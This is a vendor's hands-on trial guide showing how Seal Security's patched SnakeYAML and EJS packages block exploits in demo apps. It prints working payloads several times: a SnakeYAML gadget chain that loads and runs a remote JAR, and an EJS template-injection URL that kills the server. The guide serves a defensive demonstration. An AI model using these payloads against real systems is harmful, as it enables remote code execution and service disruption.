HANDS-ON TRIAL GUIDE
Welcome to the Seal Security platform! This guide walks you through two real-world vulnerability demos - one Java/Maven and one JavaScript/npm - to see how Seal Security remediates open-source vulnerabilities without requiring major version upgrades or code changes.
01
Fork two demo repositories
Get your own copies of the Maven and npm demo projects
02
Run without Seal protection
See live exploits successfully compromise vulnerable applications
03
Run with Seal protection
Watch the same exploits get blocked by Seal's patched dependencies
04
View results in dashboards
Review remediation outcomes in both Seal and Snyk interfaces
Total time: approximately 45 minutes
1. Platform Access
Check Your Email
You should have received an email invitation titled:
"Welcome <name> to the Seal Security platform! Get started by watching our demo or reading our Quick Start Guide. Click below to sign in to your account and start clearing that vulnerabilities report."
Activation Steps
Click the link in the invitation emails to activate your Seal and Snyk account. These will grant you access to the Seal Security platform and the integrated Snyk dashboard for comprehensive vulnerability tracking.
Once activated, you'll have immediate access to both dashboards where you'll later review the results of your hands-on demonstrations. Keep these URLs handy throughout the trial:
Both platforms work together to provide a complete view of your security posture, with Seal performing the remediation and Snyk tracking the vulnerability status across your projects.
2. Credentials & Tokens
You will need the following tokens to run the demo workflows. These tokens enable GitHub Actions to authenticate with Seal Security, Snyk, and ngrok services. Add these as GitHub Actions secrets in each forked repository as described in Section 4.
Seal Token (same for both repos)
x

You can also generate your own token at: https://app.sealsecurity.io/settings/tokens
Snyk Token (same for both repos)
x
Ngrok Token (same for both repos)
3. Fork the Repositories
To run the hands-on demonstrations, you'll need your own copies of both demo repositories. Forking creates independent copies in your GitHub account where you can safely run workflows and configure secrets without affecting the original repositories.
Java/Maven Demo
This demo demonstrates remediation of CVE-2022-1471, a critical Remote Code Execution vulnerability in SnakeYAML 1.33 commonly found in Java applications.
  1. Navigate to the repository URL above
  1. Click the Fork button in the top-right corner
  1. Click Create fork (keep all default settings)
JavaScript/npm Demo
This demo demonstrates remediation of CVE-2022-29078, a critical server-side template injection vulnerability in EJS 2.7.4 affecting Node.js applications.
  1. Navigate to the repository URL above
  1. Click the Fork button in the top-right corner
  1. Click Create fork (keep all default settings)
Once both repositories are forked, you'll see them listed in your GitHub account. The next step is to configure the required secrets so the GitHub Actions workflows can authenticate with Seal Security, Snyk, and ngrok services.
4. Configure GitHub Secrets
GitHub Actions workflows require secure access tokens to interact with external services. You'll add these as encrypted secrets that the workflows can access during execution. This configuration must be completed for both forked repositories before running any demonstrations.
This secure configuration ensures your workflows can authenticate with Seal Security for remediation, Snyk for vulnerability tracking, and ngrok for creating public URLs to test the live applications.
Step-by-Step Instructions
For each forked repository (maven-demo and npm-demo), complete the following steps:
  1. Navigate to your forked repository on GitHub
  1. Click Settings in the top navigation menu
  1. In the left sidebar, click Secrets and variables → Actions
  1. Click the green New repository secret button
  1. Add each of the three secrets listed in the table below
Once all three secrets are configured in both repositories, you're ready to proceed with setting up sealing rules and running the demonstrations. The workflows will automatically retrieve these secrets when they execute.
5. Set Up Sealing Rules
Before running any remediation workflows, you must configure sealing rules to specify which packages should be patched and with which versions. These rules act as policies that govern how Seal remediates vulnerabilities across your projects. Without sealing rules configured, the Seal workflows will not apply any fixes, even when running in remote mode.
Configuration Steps
  1. Click the Add New Rule button
  1. Configure the rule to seal all packages in all projects
  1. Select safest version as the patching strategy
  1. Save the rule
This configuration tells Seal to automatically apply the most secure patched version available for any vulnerable package it encounters during the remediation workflow.
What Sealing Rules Do
Sealing rules define your organization's vulnerability remediation policy. When you run a workflow with fix_mode: remote, Seal queries these rules to determine:
  • Which packages within those projects should be patched
  • Whether to auto-remediate or require manual approval
The "safest version" strategy ensures maximum security by applying the latest patches available.

Without this step, your remediation workflows will run but show "no fixes applied" in their output. The workflows must be able to query sealing rules to know which patches to download and apply.
6. Demo A: Java/Maven (SnakeYAML RCE)
This demonstration showcases CVE-2022-1471, a critical Remote Code Execution (RCE) vulnerability in SnakeYAML 1.33 with a CVSS score of 9.8. This vulnerability allows an attacker to execute arbitrary code on the server by submitting a crafted YAML string to a form field. SnakeYAML is one of the most widely used Java libraries for YAML parsing, making this vulnerability extremely prevalent in enterprise applications.
You'll first run the application without Seal protection to see how easily an attacker can completely take over the server. Then you'll run the same application with Seal's patched dependencies to see the exploit blocked while maintaining full functionality.
Step 1: Run the Unpatched App
  1. Navigate to your maven-demo fork on GitHub
  1. Click the Actions tab in the top menu
  1. Click Build and run workflow in the left sidebar. If it does not exist, you may have to approve workflows before it is shown.
  1. Click the blue Run workflow dropdown button
  1. Click the green Run workflow button
  1. Wait approximately 30 seconds for the workflow to start building and deploying the application
  1. Click into the running workflow and expand the Run Server with ngrok step to monitor the deployment - the live application URL will appear in the console output
Step 2: Test Normal Functionality
  1. Open https://sealtest2.ngrok.dev in your browser
  1. Type alice in the name field
  1. Click Go
  1. Verify you see the message: "Welcome, alice!"
This confirms the application is running correctly and accepting normal user input. The vulnerable SnakeYAML library is processing the YAML behind the scenes.
Step 3: Execute the Exploit (Unpatched)
  1. Clear the name field and paste the following payload exactly as shown:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. Click Go
  1. RESULT: The browser automatically redirects to a page displaying "You've Been PWNED"
  1. Try refreshing https://sealtest2.ngrok.dev - the PWNED page persists
What just happened? The application has been fully compromised through Remote Code Execution. The attacker's payload exploited SnakeYAML's unsafe deserialization to download and execute a malicious JAR file from GitHub. This JAR replaced the entire web application with a defacement page. In a real attack scenario, this same technique could steal credentials, install backdoors, pivot to other systems, or exfiltrate sensitive data.
Step 4: Cancel the Workflow
Return to GitHub Actions and cancel the running "Build and run" workflow. The application is compromised and no longer useful for demonstration purposes. There is a cancel button at the top right.
Step 5: Run the Patched App (with Seal)
  1. In GitHub Actions, click Seal Security Remediation workflow in the left sidebar. We will simply run the same workflow with the Seal GitHub Action inserted in this new yaml
  1. Click the blue Run workflow dropdown button
  1. Set fix_mode to remote
  1. Click Run workflow
  1. Wait for the workflow to start - Seal will download patched dependencies and rebuild the application with the remediated SnakeYAML library
Step 6: Test the Exploit Again (Patched)
  1. Type alice and click Go - verify you see "Welcome, alice!" (normal functionality is preserved)
  1. Now paste the same exploit payload:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
  1. Click Go
  1. RESULT: You see a "Whitelabel Error Page" with the message "ConstructorException: Class is denied"
  1. The server remains running - navigate back to https://sealtest2.ngrok.dev and type alice again
  1. The application still works normally - it was never compromised
Step 7: Cancel the Workflow
Return to GitHub Actions and cancel the running "Seal Security Remediation" workflow. There is a cancel button at the top right.
What Happened?
Seal replaced snakeyaml-1.33.jar with snakeyaml-1.33+sp1.jar - a patched version that adds a deny list blocking serialization of known Java gadgets used in exploits. from being deserialized through YAML. The patch is a drop-in replacement that maintains 100% API compatibility with SnakeYAML 1.33. No code changes were required. No migration to SnakeYAML 2.0 with its breaking API changes. The same application code runs against the patched library and is now secure against this critical RCE vulnerability.
7. Demo B: JavaScript/npm (EJS RCE)
This demonstration showcases CVE-2022-29078, a critical server-side template injection vulnerability in EJS 2.7.4 with a CVSS score of 9.8. EJS (Embedded JavaScript) is one of the most popular templating engines in the Node.js ecosystem, used by thousands of applications. This vulnerability allows an attacker to execute arbitrary commands on the server by manipulating URL parameters, leading to complete system compromise.
You'll first run the Node.js application without Seal protection to see how a single crafted URL can crash the entire server. Then you'll run the same application with Seal's patched EJS library to see the exploit neutralized while preserving normal template rendering functionality.
Step 1: Run the Unpatched App
  1. Navigate to your npm-demo fork on GitHub
  1. Click the Actions tab in the top menu
  1. Click Build and run workflow in the left sidebar. If it does not exist, you may have to approve workflows before it is shown.
  1. Click the blue Run workflow dropdown
  1. Click the green Run workflow button
  1. Wait for the workflow to start building and deploying the Node.js application with vulnerable dependencies
Step 2: Test Normal Functionality
  1. Open this URL in your browser: https://sealtest.ngrok.dev/?name=alice
  1. Verify you see: "Hello alice!"
This confirms the EJS template engine is rendering the name parameter correctly. Behind the scenes, the vulnerable EJS 2.7.4 library is processing the template with unsafe settings.
Step 3: Execute the Exploit (Unpatched)
Paste this URL into your browser address bar exactly as shown (the URL contains encoded characters that are essential to the exploit):
https://sealtest.ngrok.dev/?name=Hacker&settings[view%20options][outputFunctionName]=x;setTimeout(function()%7Bprocess.exit(1)%7D,500);s
RESULT: The page briefly displays "Hello Hacker!" - then the server CRASHES. The Node.js process has terminated.
Try refreshing https://sealtest.ngrok.dev/?name=alice - the site is completely DOWN. The application is no longer running.
What just happened? The exploit leveraged EJS's unsafe handling of the outputFunctionName setting. By manipulating URL parameters, the attacker injected JavaScript code directly into the template compilation context. The injected code scheduled process.exit(1) to run after 500ms - just long enough for the server to render the page before shutting itself down. In a real attack, this same technique could execute any arbitrary command - reading files, modifying databases, establishing reverse shells, or installing malware. The attacker only needed to craft a URL - no credentials, authentication, or special access required.
Step 4: Run the Patched App (with Seal)
  1. The previous workflow should have ended due to the server crash
  1. Click Seal Security Remediation workflow in the left sidebar. We will simply run the same workflow with the Seal GitHub Action inserted in this new yaml
  1. Click Run workflow
  1. Set fix_mode to remote
  1. Click Run workflow and proceed to Step 5
Step 5: Test the Exploit Again (Patched)
  1. Open https://sealtest.ngrok.dev/?name=alice - verify you see "Hello alice!" (normal functionality works)
  1. Now paste the same exploit URL:
https://sealtest.ngrok.dev/?name=Hacker&settings[view%20options][outputFunctionName]=x;setTimeout(function()%7Bprocess.exit(1)%7D,500);s
  1. RESULT: You see "Invalid parameter" - a clean error message
  1. The server remains running - the exploit was BLOCKED
  1. Navigate back to https://sealtest.ngrok.dev/?name=alice - the application still works normally
Step 7: Cancel the Workflow
Return to GitHub Actions and cancel the running "Seal Security Remediation" workflow. There is a cancel button at the top right.
What Happened?
Seal replaced [email protected] with [email protected]2 - a patched version that sanitizes the outputFunctionName parameter to prevent code injection attacks. The patch validates and restricts this parameter to safe values, rejecting any attempt to inject executable code. This is a drop-in replacement that maintains full API compatibility with EJS 2.x. No code changes were required. No migration to EJS 3.x with its breaking template syntax changes. The same application code runs against the patched library and is now secure against this critical RCE vulnerability.
8. Review Results in Seal & Snyk
After running both Seal Security Remediation workflows, the results are automatically synchronized to both the Seal and Snyk dashboards. This dual-dashboard approach gives you comprehensive visibility: Seal shows you the technical details of which patches were applied and how dependencies were remediated, while Snyk reflects the updated vulnerability posture for your security and compliance reporting.
Seal Dashboard
  1. Click on the Projects view
  1. Locate your two demo projects in the project list
  1. Click on the Vulnerable packages section to view an inventory of packages. You can then filter for the respective project.
maven-demo Project
You'll see a list of all the maven packages. Amongst them are sealed packages including:
  • snakeyaml 1.33+sp1 (remediates CVE-2022-1471)
  • jackson-databind 2.13.1+sp1
  • commons-text 1.9+sp1
  • Additional transitive dependencies with +sp1 patches
npm-demo Project
You'll see a list of all the npm packages. Amongst them are sealed packages including:
  • ejs 2.7.4+sp2 (remediates CVE-2022-29078)
  • lodash 4.17.5+sp1
  • json5 0.5.1+sp1
  • Additional transitive dependencies with +sp1 patches
Snyk Dashboard
  1. Navigate to: https://app.snyk.io
  1. Log in with the provided credentials
  1. Navigate to the SnykSean organization's Projects list. The two relevant projects are listed: npm-demo and maven-demo
The Snyk dashboard automatically reflects the remediation work performed by Seal. Vulnerabilities that Seal patched during the remediation workflow are marked as "not vulnerable," ignored, and commented on "vulnerability patched by seal-security." This integration ensures your vulnerability tracking system of record stays synchronized with your actual security posture.
What to Look For
  • CVE Status: Specific CVEs like CVE-2022-1471 and CVE-2022-29078 should show as ignored
  • Severity Reduction: Critical and high-severity vulnerability counts should decrease
  • Dependency Details: Drill into specific packages to see which versions were remediated
2
Critical RCEs Blocked
Both SnakeYAML and EJS Remote Code Execution vulnerabilities remediated
10+
Packages Sealed
Combined direct and transitive dependencies patched across both demos
0
Code Changes Required
All patches applied as drop-in replacements with no code modifications
9. What You're Seeing
The hands-on demonstrations you just completed showcase Seal Security's unique approach to vulnerability remediation. Unlike traditional solutions that force risky upgrades or require extensive code changes, Seal provides surgical patches that preserve your existing codebase while eliminating security vulnerabilities. Here's what makes this approach fundamentally different from conventional remediation strategies.
Key Capabilities Demonstrated
No Code Changes
Your application source code remains completely identical between the vulnerable and patched versions. The only difference is which dependency artifacts are pulled during the build process. Seal operates entirely at the dependency level, never touching your codebase.
No Version Upgrades
The patched libraries maintain the same major and minor version numbers (SnakeYAML 1.33+sp1, EJS 2.7.4+sp2). The "+sp#" suffix indicates a Seal patch, but the API remains identical to the original version. This means zero breaking changes and no migration work required.
Drop-in Replacement
Seal's patched packages are 100% API-compatible with the original vulnerable versions. Your build process, unit tests, integration tests, and runtime behavior remain unchanged. The patches are designed to fix security issues while preserving all existing functionality.
CI/CD Integration
Seal runs as a single step in your existing GitHub Actions workflow. No infrastructure changes, no new build servers, no modifications to your deployment pipeline. It integrates seamlessly into the tools and processes you already use.
Snyk Integration
Seal automatically reports remediation status back to Snyk after applying patches. Your vulnerability dashboard reflects the actual risk posture of your patched dependencies, ensuring compliance reports and security metrics stay synchronized with reality.
Transitive Dependencies
Seal patches vulnerabilities deep in the dependency tree that you don't directly control. Dependencies like lodash, jackson-databind, cross-spawn, and ws are often pulled in transitively by other packages. Seal reaches these buried vulnerabilities without requiring you to update or replace the parent packages.
Why This Matters
The Traditional Upgrade Problem
For SnakeYAML, the standard security advice is to upgrade from version 1.33 to version 2.0. However, SnakeYAML 2.0 introduces multiple breaking API changes that require rewriting code throughout your application. This represents weeks or months of developer work: refactoring code, updating unit tests, regression testing, and dealing with unexpected edge cases.
For EJS, the standard advice is to migrate from 2.x to 3.x. EJS 3.x changes template syntax and introduces breaking changes to how templates are compiled and rendered. Again, this means weeks of migration work across every template in your application.
The Seal Solution
Meanwhile, these are CRITICAL Remote Code Execution vulnerabilities with CVSS scores of 9.8 sitting in production applications. Attackers don't wait for migration projects to complete. They exploit vulnerabilities the moment they're disclosed.
Seal eliminates the painful choice between "stay vulnerable" and "spend weeks migrating." You get immediate security without disruption. The patches are applied in minutes, not weeks. Your applications stay secure without the risk and cost of major version upgrades.
10. Troubleshooting
If you encounter issues during the hands-on trial, this section provides solutions to the most common problems. Most issues stem from incorrect secret configuration or workflow timing conflicts. Follow these troubleshooting steps to resolve any problems and get your demonstrations running smoothly.
Advanced Troubleshooting
Workflow Logs
Click into any workflow run and expand individual steps to see detailed console output. Look for error messages that indicate which step failed and why. This is especially helpful for diagnosing secret configuration or network connectivity issues.
Secret Validation
To verify secrets are configured correctly, check that the workflow shows "***" in place of actual secret values in the logs. If you see the literal text "${{ secrets.SEAL_TOKEN }}" instead, the secret isn't configured.
Clean State
If workflows are behaving unexpectedly, cancel all running workflows in both repositories before starting fresh. This ensures no conflicting processes are holding resources like ngrok tunnels.

If you continue to experience issues after trying these solutions, reach out to your Seal Security representative for direct support. Include screenshots of the workflow logs and specific error messages to help diagnose the problem quickly.
11. Next Steps
Congratulations on completing the Seal Security hands-on trial! You've now seen firsthand how Seal remediates critical vulnerabilities without requiring code changes or risky version upgrades. The next phase is to expand your use of Seal beyond these demo projects and integrate it into your actual development workflows and production applications.
1. Explore the Seal Dashboard
Navigate to https://app.sealsecurity.io and explore beyond the demo projects. The dashboard shows you:
  • All available patches in Seal's repository
  • Coverage across different languages and package managers
  • CVE details and severity scores for each patch
  • Detailed package information including hashes to verify each artifact
  • A detailed Reports Manager for third-party attestation and internal compliance
Understanding the full scope of Seal's patch coverage helps you plan which projects to onboard first and estimate the security impact across your entire application portfolio.
2. Generate Additional Tokens
Visit https://app.sealsecurity.io/settings/tokens to create tokens for your production CI/CD pipelines.
Best practice is to create separate tokens for different environments (dev, production) and rotate them regularly following your organization's security policies.
3. Configure Sealing Rules
Return to https://app.sealsecurity.io/protection/rules to refine your policies beyond the simple "all projects, safest version" rule used in this trial. Advanced configurations include:
  • Project-specific rules targeting specific repositories or teams
  • Manual approval workflows for sensitive production applications
  • Version pinning strategies balancing security with stability
Well-designed sealing rules let you automate security remediation while maintaining appropriate controls and governance for your organization's risk tolerance.
Building a Remediation Strategy
As you move beyond the trial, consider developing a phased rollout strategy. Start with low-risk applications to validate Seal in your environment, then gradually expand to more critical systems. Monitor the Seal and Snyk dashboards to track vulnerability reduction over time. Most organizations see a 70-90% reduction in critical and high-severity vulnerabilities within the first 30 days of Seal deployment, without disrupting development workflows or requiring application downtime.
Your Seal Security representative can help you design a rollout plan tailored to your organization's specific application portfolio, security requirements, and development practices. Schedule a follow-up consultation to discuss your trial results and plan your expanded deployment.
Quick Reference
This section provides a comprehensive quick reference for all the URLs, credentials, and workflow configurations you need throughout the Seal Security trial. Bookmark this section for easy access during your demonstrations and future work with Seal.
Platform URLs
Demo Repositories
GitHub Actions Workflows
Build and Run / Build and run
Purpose: Runs the application WITHOUT Seal protection - the vulnerable version
Use this to: Demonstrate how exploits succeed against unpatched dependencies
Branches: master (maven-demo), main (npm-demo)
Seal Security Remediation
Purpose: Runs the application WITH Seal protection - the patched version
Use this to: Demonstrate how Seal blocks exploits using drop-in patched dependencies
Important: Always set fix_mode to remote when triggering this workflow
Vulnerabilities Demonstrated
CVE-2022-1471 (SnakeYAML)
  • Severity: Critical (CVSS 9.8)
  • Type: Remote Code Execution
  • Package: snakeyaml 1.33
  • Patch: snakeyaml 1.33+sp1
  • Demo: maven-demo project
  • Impact: Full server takeover, arbitrary code execution
CVE-2022-29078 (EJS)
  • Severity: Critical (CVSS 9.8)
  • Type: Server-Side Template Injection
  • Package: ejs 2.7.4
  • Patch: ejs 2.7.4+sp2
  • Demo: npm-demo project
  • Impact: Server crash, arbitrary command execution
Required GitHub Secrets
Exploit Payloads
Maven Demo (SnakeYAML) - Paste into name field
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
npm Demo (EJS) - Paste entire URL into browser
https://sealtest.ngrok.dev/?name=Hacker&settings[view%20options][outputFunctionName]=x;setTimeout(function()%7Bprocess.exit(1)%7D,500);s

Keep this quick reference accessible throughout your trial. These URLs, workflows, and configurations are all you need to successfully complete the demonstrations and troubleshoot any issues that arise.